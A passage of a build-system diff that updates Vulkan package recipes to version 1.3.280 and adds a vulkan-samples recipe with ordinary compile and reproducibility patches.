+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-loader_1.2.135.0.bb b/meta/recipes-graphics/vulkan/vulkan-loader_1.2.135.0.bb
deleted file mode 100644
index 8bab58f0b9..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-loader_1.2.135.0.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "3D graphics and compute API common loader"
-DESCRIPTION = "Vulkan is a new generation graphics and compute API \
-that provides efficient access to modern GPUs. These packages \
-provide only the common vendor-agnostic library loader, headers and \
-the vulkaninfo utility."
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Loader"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7dbefed23242760aa3475ee42801c5ac"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=sdk-1.2.135"
-SRCREV = "86429d9e7f3542e88fb98ffa7d8a82c10c9828ac"
-
-S = "${WORKDIR}/git"
-
-REQUIRED_DISTRO_FEATURES = "vulkan"
-
-inherit cmake features_check
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-
-DEPENDS += "vulkan-headers"
-
-EXTRA_OECMAKE = "\
- -DBUILD_TESTS=OFF \
- -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
- -DASSEMBLER_WORKS=FALSE \
- "
-
-# must choose x11 or wayland or both
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
-PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
-
-RRECOMMENDS_${PN} = "mesa-vulkan-drivers"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-loader_1.3.280.0.bb b/meta/recipes-graphics/vulkan/vulkan-loader_1.3.280.0.bb
new file mode 100644
index 0000000000..b738771801
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-loader_1.3.280.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "3D graphics and compute API common loader"
+DESCRIPTION = "Vulkan is a new generation graphics and compute API \
+that provides efficient access to modern GPUs. These packages \
+provide only the common vendor-agnostic library loader, headers and \
+the vulkaninfo utility."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Loader"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7dbefed23242760aa3475ee42801c5ac"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=vulkan-sdk-1.3.280;protocol=https"
+SRCREV = "61a9c50248e09f3a0e0be7ce6f8bb1663855f979"
+
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+inherit cmake features_check pkgconfig
+
+DEPENDS += "vulkan-headers"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
+ -DASSEMBLER_WORKS=FALSE \
+ -DVulkanHeaders_INCLUDE_DIR=${STAGING_INCDIR} \
+ -DVulkanRegistry_DIR=${RECIPE_SYSROOT}/${datadir} \
+ "
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
+PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
+
+RRECOMMENDS:${PN} = "mesa-vulkan-drivers"
+
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools,
+# vulkan-validation-layers, vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/0001-Deprecate-u8string_view.patch b/meta/recipes-graphics/vulkan/vulkan-samples/0001-Deprecate-u8string_view.patch
new file mode 100644
index 0000000000..c2304bdd48
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/0001-Deprecate-u8string_view.patch
@@ -0,0 +1,59 @@
+From 93987b1ce7d6f91387202495aac61026070597df Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 15 Jan 2023 21:37:52 -0800
+Subject: [PATCH] Deprecate u8string_view
+
+Use basic_string_view instead
+
+Upstream-Status: Backport [https://github.com/fmtlib/fmt/commit/dea7fde8b7d649923dd41b0766bdf076033c62a2]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ include/spdlog/fmt/bundled/core.h | 3 ++-
+ include/spdlog/fmt/bundled/format.h | 15 ++-------------
+ 2 files changed, 4 insertions(+), 14 deletions(-)
+
+diff --git a/include/spdlog/fmt/bundled/core.h b/include/spdlog/fmt/bundled/core.h
+index 50b79351..e8b029ef 100644
+--- a/include/spdlog/fmt/bundled/core.h
++++ b/include/spdlog/fmt/bundled/core.h
+@@ -1484,7 +1484,8 @@ FMT_API void vprint(wstring_view format_str, wformat_args args);
+
+ /**
+ \rst
+- Prints formatted data to ``stdout``.
++ Formats ``args`` according to specifications in ``format_str`` and writes the
++ output to ``stdout``.
+
+ **Example**::
+
+diff --git a/include/spdlog/fmt/bundled/format.h b/include/spdlog/fmt/bundled/format.h
+index 1bb24a52..39426361 100644
+--- a/include/spdlog/fmt/bundled/format.h
++++ b/include/spdlog/fmt/bundled/format.h
+@@ -407,21 +407,10 @@ void basic_buffer<T>::append(const U *begin, const U *end) {
+ enum char8_t: unsigned char {};
+ #endif
+
+-// A UTF-8 string view.
+-class u8string_view : public basic_string_view<char8_t> {
+- public:
+- typedef char8_t char_type;
+-
+- u8string_view(const char *s):
+- basic_string_view<char8_t>(reinterpret_cast<const char8_t*>(s)) {}
+- u8string_view(const char *s, size_t count) FMT_NOEXCEPT:
+- basic_string_view<char8_t>(reinterpret_cast<const char8_t*>(s), count) {}
+-};
+-
+ #if FMT_USE_USER_DEFINED_LITERALS
+ inline namespace literals {
+-inline u8string_view operator"" _u(const char *s, std::size_t n) {
+- return {s, n};
++inline basic_string_view<char8_t> operator"" _u(const char* s, std::size_t n) {
++ return {reinterpret_cast<const char8_t*>(s), n};
+ }
+ }
+ #endif
+--
+2.39.0
+
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/0001-Do-not-use-LFS64-functions-on-linux-musl.patch b/meta/recipes-graphics/vulkan/vulkan-samples/0001-Do-not-use-LFS64-functions-on-linux-musl.patch
new file mode 100644
index 0000000000..f2bd7e510b
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/0001-Do-not-use-LFS64-functions-on-linux-musl.patch
@@ -0,0 +1,37 @@
+From ce7a593e74c8e0c2ece15c73e7614d4f13a19a53 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 30 Dec 2022 13:04:08 -0800
+Subject: [PATCH] Do not use LFS64 functions on linux/musl
+
+On musl, off_t is 64bit always ( even on 32bit platforms ), therefore using
+LFS64 funcitons is not needed on such platforms. Moreover, musl has stopped
+providing aliases for these functions [1] which means it wont compile on
+newer musl systems. Therefore only use it on 32bit glibc/linux platforms
+and exclude musl like cygwin or OSX
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=246f1c811448f37a44b41cd8df8d0ef9736d95f4
+
+Upstream-Status: Submitted [https://github.com/gabime/spdlog/pull/2589]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ include/spdlog/details/os.h | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/include/spdlog/details/os.h b/include/spdlog/details/os.h
+index 8e8476f0..be0a67b8 100644
+--- a/include/spdlog/details/os.h
++++ b/include/spdlog/details/os.h
+@@ -227,7 +227,9 @@ inline size_t filesize(FILE *f)
+ #else // unix
+ int fd = fileno(f);
+ // 64 bits(but not in osx or cygwin, where fstat64 is deprecated)
+-#if !defined(__FreeBSD__) && !defined(__APPLE__) && (defined(__x86_64__) || defined(__ppc64__)) && !defined(__CYGWIN__)
++#if !defined(__FreeBSD__) && !defined(__APPLE__) && \
++ (defined(__linux__) && defined(__GLIBC__)) && \
++ (defined(__x86_64__) || defined(__ppc64__)) && !defined(__CYGWIN__)
+ struct stat64 st;
+ if (::fstat64(fd, &st) == 0)
+ {
+--
+2.39.0
+
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch b/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch
new file mode 100644
index 0000000000..c16e05112f
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch
@@ -0,0 +1,43 @@
+From d998c753254649c7cf7c64e3fed78e41c11ad7ed Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Wed, 23 Aug 2023 09:38:37 +0200
+Subject: [PATCH] vulkan-samples: Fix reproducibility issue
+
+There is code to remove the prefix CMAKE_SOURCE_DIR from __FILENAME__ paths
+used for logging with LOGE() in the code. We need to make this match the value we use
+in the debug source remapping from CFLAGS
+
+We export the right path to use in the recipe with:
+
+EXTRA_OECMAKE = "-DCMAKE_DEBUG_SRCDIR=${TARGET_DBGSRC_DIR}/"
+
+and we then patch this into the code instead of the broken use
+of CMAKE_SOURCE_DIR since __FILENAME__ will match our path prefix
+changes.
+
+This also breaks reproducibility since the path length of the build directory
+will currently change the output!
+
+Upstream-Status: Pending [needs to be discussed upstream]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Signed-off-by: Julien Stephan <jstephan@baylibre.com>
+---
+ bldsys/cmake/global_options.cmake | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/bldsys/cmake/global_options.cmake b/bldsys/cmake/global_options.cmake
+index b15c2da..d8952e5 100644
+--- a/bldsys/cmake/global_options.cmake
++++ b/bldsys/cmake/global_options.cmake
+@@ -62,7 +62,7 @@ set(CMAKE_CXX_STANDARD 14)
+ set(CMAKE_DISABLE_SOURCE_CHANGES ON)
+ set(CMAKE_DISABLE_IN_SOURCE_BUILD ON)
+
+-string(LENGTH "${CMAKE_SOURCE_DIR}/" ROOT_PATH_SIZE)
++string(LENGTH "${CMAKE_DEBUG_SRCDIR}/" ROOT_PATH_SIZE)
+ add_definitions(-DROOT_PATH_SIZE=${ROOT_PATH_SIZE})
+
+ set(CMAKE_C_FLAGS_DEBUG "-DDEBUG=0 ${CMAKE_C_FLAGS_DEBUG}")
+--
+2.41.0
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/32bit.patch b/meta/recipes-graphics/vulkan/vulkan-samples/32bit.patch
new file mode 100644
index 0000000000..644c3b6167
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/32bit.patch
@@ -0,0 +1,101 @@
+From 49761ca63797014223d8e3ff6fb2c0235803c19c Mon Sep 17 00:00:00 2001
+From: asuessenbach <asuessenbach@nvidia.com>
+Date: Wed, 3 May 2023 09:50:08 +0200
+Subject: [PATCH] Resolve some Vulkan-Hpp-related issues on Win32.
+
+This patch fixes vulkan-samples compilation on 32-bit hosts.
+
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ framework/common/hpp_vk_common.h | 4 ++--
+ framework/core/hpp_buffer.cpp | 4 ++--
+ framework/core/hpp_buffer.h | 2 +-
+ framework/core/hpp_image.cpp | 2 +-
+ samples/api/hpp_texture_loading/hpp_texture_loading.cpp | 2 +-
+ 5 files changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/framework/common/hpp_vk_common.h b/framework/common/hpp_vk_common.h
+index 39ed3dcde..0cbbe479e 100644
+--- a/framework/common/hpp_vk_common.h
++++ b/framework/common/hpp_vk_common.h
+@@ -92,7 +92,7 @@ inline bool is_dynamic_buffer_descriptor_type(vk::DescriptorType descriptor_type
+
+ inline vk::ShaderModule load_shader(const std::string &filename, vk::Device device, vk::ShaderStageFlagBits stage)
+ {
+- return vkb::load_shader(filename, device, static_cast<VkShaderStageFlagBits>(stage));
++ return static_cast<vk::ShaderModule>(vkb::load_shader(filename, device, static_cast<VkShaderStageFlagBits>(stage)));
+ }
+
+ inline void set_image_layout(vk::CommandBuffer command_buffer,
+@@ -104,7 +104,7 @@ inline void set_image_layout(vk::CommandBuffer command_buffer,
+ vk::PipelineStageFlags dst_mask = vk::PipelineStageFlagBits::eAllCommands)
+ {
+ vkb::set_image_layout(command_buffer,
+- image,
++ static_cast<VkImage>(image),
+ static_cast<VkImageLayout>(old_layout),
+ static_cast<VkImageLayout>(new_layout),
+ static_cast<VkImageSubresourceRange>(subresource_range),
+diff --git a/framework/core/hpp_buffer.cpp b/framework/core/hpp_buffer.cpp
+index 8da265acb..e6509b9f4 100644
+--- a/framework/core/hpp_buffer.cpp
++++ b/framework/core/hpp_buffer.cpp
+@@ -84,7 +84,7 @@ HPPBuffer::~HPPBuffer()
+ if (get_handle() && (allocation != VK_NULL_HANDLE))
+ {
+ unmap();
+- vmaDestroyBuffer(get_device().get_memory_allocator(), get_handle(), allocation);
++ vmaDestroyBuffer(get_device().get_memory_allocator(), static_cast<VkBuffer>(get_handle()), allocation);
+ }
+ }
+
+@@ -93,7 +93,7 @@ VmaAllocation HPPBuffer::get_allocation() const
+ return allocation;
+ }
+
+-VkDeviceMemory HPPBuffer::get_memory() const
++vk::DeviceMemory HPPBuffer::get_memory() const
+ {
+ return memory;
+ }
+diff --git a/framework/core/hpp_buffer.h b/framework/core/hpp_buffer.h
+index 7a243c265..bad47406d 100644
+--- a/framework/core/hpp_buffer.h
++++ b/framework/core/hpp_buffer.h
+@@ -55,7 +55,7 @@ class HPPBuffer : public vkb::core::HPPVulkanResource<vk::Buffer>
+
+ VmaAllocation get_allocation() const;
+ const uint8_t *get_data() const;
+- VkDeviceMemory get_memory() const;
++ vk::DeviceMemory get_memory() const;
+
+ /**
+ * @return Return the buffer's device address (note: requires that the buffer has been created with the VK_BUFFER_USAGE_SHADER_DEVICE_ADDRESS_BIT usage fla)
+diff --git a/framework/core/hpp_image.cpp b/framework/core/hpp_image.cpp
+index 00fa89ba7..5e6f27363 100644
+--- a/framework/core/hpp_image.cpp
++++ b/framework/core/hpp_image.cpp
+@@ -138,7 +138,7 @@ HPPImage::~HPPImage()
+ if (get_handle() && memory)
+ {
+ unmap();
+- vmaDestroyImage(get_device().get_memory_allocator(), get_handle(), memory);
++ vmaDestroyImage(get_device().get_memory_allocator(), static_cast<VkImage>(get_handle()), memory);
+ }
+ }
+
+diff --git a/samples/api/hpp_texture_loading/hpp_texture_loading.cpp b/samples/api/hpp_texture_loading/hpp_texture_loading.cpp
+index 11a1f24c1..cbdd22773 100644
+--- a/samples/api/hpp_texture_loading/hpp_texture_loading.cpp
++++ b/samples/api/hpp_texture_loading/hpp_texture_loading.cpp
+@@ -170,7 +170,7 @@ void HPPTextureLoading::load_texture()
+ memory_allocate_info = {memory_requirements.size,
+ get_device()->get_gpu().get_memory_type(memory_requirements.memoryTypeBits, vk::MemoryPropertyFlagBits::eDeviceLocal)};
+ texture.device_memory = get_device()->get_handle().allocateMemory(memory_allocate_info);
+- VK_CHECK(vkBindImageMemory(get_device()->get_handle(), texture.image, texture.device_memory, 0));
++ get_device()->get_handle().bindImageMemory(texture.image, texture.device_memory, 0);
+
+ vk::CommandBuffer copy_command = get_device()->create_command_buffer(vk::CommandBufferLevel::ePrimary, true);
+
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples_git.bb b/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
new file mode 100644
index 0000000000..d60c0f3190
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
@@ -0,0 +1,39 @@
+SUMMARY = "The Vulkan Samples is collection of resources to help develop optimized Vulkan applications."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Samples/issues"
+LICENSE = "Apache-2.0"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=48aa35cefb768436223a6e7f18dc2a2a"
+
+SRC_URI = "gitsm://github.com/KhronosGroup/Vulkan-Samples.git;branch=main;protocol=https;lfs=0 \
+ file://0001-vulkan-samples-Fix-reproducibility-issue.patch \
+ file://0001-Do-not-use-LFS64-functions-on-linux-musl.patch;patchdir=third_party/spdlog \
+ file://0001-Deprecate-u8string_view.patch;patchdir=third_party/spdlog \
+ file://32bit.patch \
+ "
+
+UPSTREAM_CHECK_COMMITS = "1"
+SRCREV = "2307c3eb5608cb1205fa3514b3a31dbfb857d00c"
+
+UPSTREAM_CHECK_GITTAGREGEX = "These are not the releases you're looking for"
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = 'vulkan'
+
+inherit cmake features_check
+
+FILES:${PN} += "${datadir}"
+
+#
+# There is code to remove the prefix CMAKE_SOURCE_DIR from __FILENAME__ paths
+# used for logging with LOGE in the code. We need to make this match the value we use
+# in the debug source remapping from CFLAGS
+#
+EXTRA_OECMAKE += "-DCMAKE_DEBUG_SRCDIR=${TARGET_DBGSRC_DIR}/"
+# Binaries built with PCH enabled don't appear reproducible, differing results were seen
+# from some builds depending on the point the PCH was compiled. Disable it to be
+# deterministic
+EXTRA_OECMAKE += "-DCMAKE_DISABLE_PRECOMPILE_HEADERS=ON"
+
+# This needs to be specified explicitly to avoid xcb/xlib dependencies
+EXTRA_OECMAKE += "-DVKB_WSI_SELECTION=D2D"
diff --git a/meta/recipes-graphics/vulkan/vulkan-tools_1.2.135.0.bb b/meta/recipes-graphics/vulkan/vulkan-tools_1.2.135.0.bb
deleted file mode 100644
index 085c0e27e9..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-tools_1.2.135.0.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Vulkan Utilities and Tools"
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Tools"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Tools.git;branch=sdk-1.2.135"
-SRCREV = "6d8197fd6c91d352a601587ffdde28f4cd7bc399"
-
-S = "${WORKDIR}/git"
-
-inherit cmake features_check
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-REQUIRED_DISTRO_FEATURES = "vulkan"
-
-DEPENDS += "vulkan-headers vulkan-loader"
-
-EXTRA_OECMAKE = "\
- -DBUILD_TESTS=OFF \
- -DBUILD_CUBE=OFF \
- -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
- "
-
-# must choose x11 or wayland or both
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
-PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-tools_1.3.280.0.bb b/meta/recipes-graphics/vulkan/vulkan-tools_1.3.280.0.bb
new file mode 100644
index 0000000000..a7e4a67aaa
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-tools_1.3.280.0.bb
@@ -0,0 +1,37 @@
+SUMMARY = "Vulkan Utilities and Tools"
+DESCRIPTION = "Assist development by enabling developers to verify their applications correct use of the Vulkan API."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Tools"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Tools.git;branch=vulkan-sdk-1.3.280;protocol=https"
+SRCREV = "136976082d0b14dad8b9687982b2a80cc6e6a633"
+
+S = "${WORKDIR}/git"
+
+inherit cmake features_check pkgconfig
+ANY_OF_DISTRO_FEATURES = "x11 wayland"
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+DEPENDS += "vulkan-headers vulkan-loader vulkan-volk"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DBUILD_CUBE=OFF \
+ -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
+ "
+
+# must choose x11 or wayland or both
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
+PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
+
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.280.0.bb b/meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.280.0.bb
new file mode 100644
index 0000000000..3ab31af96a
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.280.0.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Vulkan Utility Libraries"
+DESCRIPTION = "Common libraries created to share code across various \
+Vulkan repositories, solving long standing issues for Vulkan SDK \
+developers and users."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Utility-Libraries"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=4ca2d6799091aaa98a8520f1b793939b"
+
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Utility-Libraries.git;branch=main;protocol=https"
+SRCREV = "a4140c5fd47dcf3a030726a60b293db61cfb54a3"
+
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+DEPENDS = "vulkan-headers"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ "
+
+inherit cmake features_check pkgconfig
+
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools,
+# vulkan-validation-layers, spirv-headers, spirv-tools,
+# vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.280.0.bb b/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.280.0.bb
new file mode 100644
index 0000000000..c488309c91
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.280.0.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Vulkan Validation layers"
+DESCRIPTION = "Khronos official Vulkan validation layers to assist developers \
+in verifying that their applications correctly use the Vulkan API"
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-ValidationLayers"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=cd3c0bc366cd9b6a906e22f0bcb5910f"
+
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-ValidationLayers.git;branch=vulkan-sdk-1.3.280;protocol=https"
+SRCREV = "8506077b9a25a00684e8be24b779733ae1405a54"
+
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+DEPENDS = "vulkan-headers vulkan-loader spirv-headers spirv-tools glslang vulkan-utility-libraries"
+
+# BUILD_TESTS - Not required for OE builds
+# USE_ROBIN_HOOD_HASHING - Provides substantial performance improvements on all platforms.
+# Yocto project doesn't contain a recipe for package so disabled it.
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DUSE_ROBIN_HOOD_HASHING=OFF \
+ -DGLSLANG_INSTALL_DIR=${STAGING_LIBDIR} \
+ -DVULKAN_HEADERS_INSTALL_DIR=${STAGING_EXECPREFIXDIR} \
+ -DSPIRV_HEADERS_INSTALL_DIR=${STAGING_EXECPREFIXDIR} \
+ "
+
+PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
+PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)}"
+
+inherit cmake features_check pkgconfig
+
+FILES:${PN} += "${datadir}/vulkan"
+
+SOLIBS = ".so"
+FILES_SOLIBSDEV = ""
+
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools,
+# vulkan-validation-layers, spirv-headers, spirv-tools,
+# vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-volk_1.3.280.0.bb b/meta/recipes-graphics/vulkan/vulkan-volk_1.3.280.0.bb
new file mode 100644
index 0000000000..2ef12fedf8
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-volk_1.3.280.0.bb
@@ -0,0 +1,37 @@
+SUMMARY = "A meta-loader for Vulkan"
+DESCRIPTION = "Volk allows one to dynamically load entrypoints required \
+to use Vulkan without linking to vulkan-1.dll or statically linking Vulkan loader. \
+"
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/zeux/volk"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=12e6af3a0e2a5e5dbf7796aa82b64626"
+
+SRC_URI = "git://github.com/zeux/volk.git;branch=master;protocol=https"
+SRCREV = "01986ac85fa2e5c70df09aeae9c907e27c5d50b2"
+
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+DEPENDS = "vulkan-headers"
+
+EXTRA_OECMAKE = "\
+ -DVOLK_INSTALL=ON \
+ "
+
+inherit cmake features_check pkgconfig
+
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools,
+# vulkan-validation-layers, spirv-headers, spirv-tools,
+# vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
+
+do_install:append() {
+ sed -i -e 's,${STAGING_DIR_TARGET},,g' ${D}${libdir}/cmake/volk/volkTargets.cmake
+}
diff --git a/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch b/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch
new file mode 100644
index 0000000000..31ac3e0dd1
--- /dev/null
+++ b/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch
@@ -0,0 +1,40 @@
+From 79b9e4338f803d79449e53a40b1ecc0a5a5889e4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 26 Oct 2021 08:52:17 +0200
+Subject: [PATCH] waffle: do not make core protocol into the library
+
+None of the consumers (which is just piglit) use it, and
+this avoids host contamination from pkg-config suggesting
+wayland.xml from the host.
+
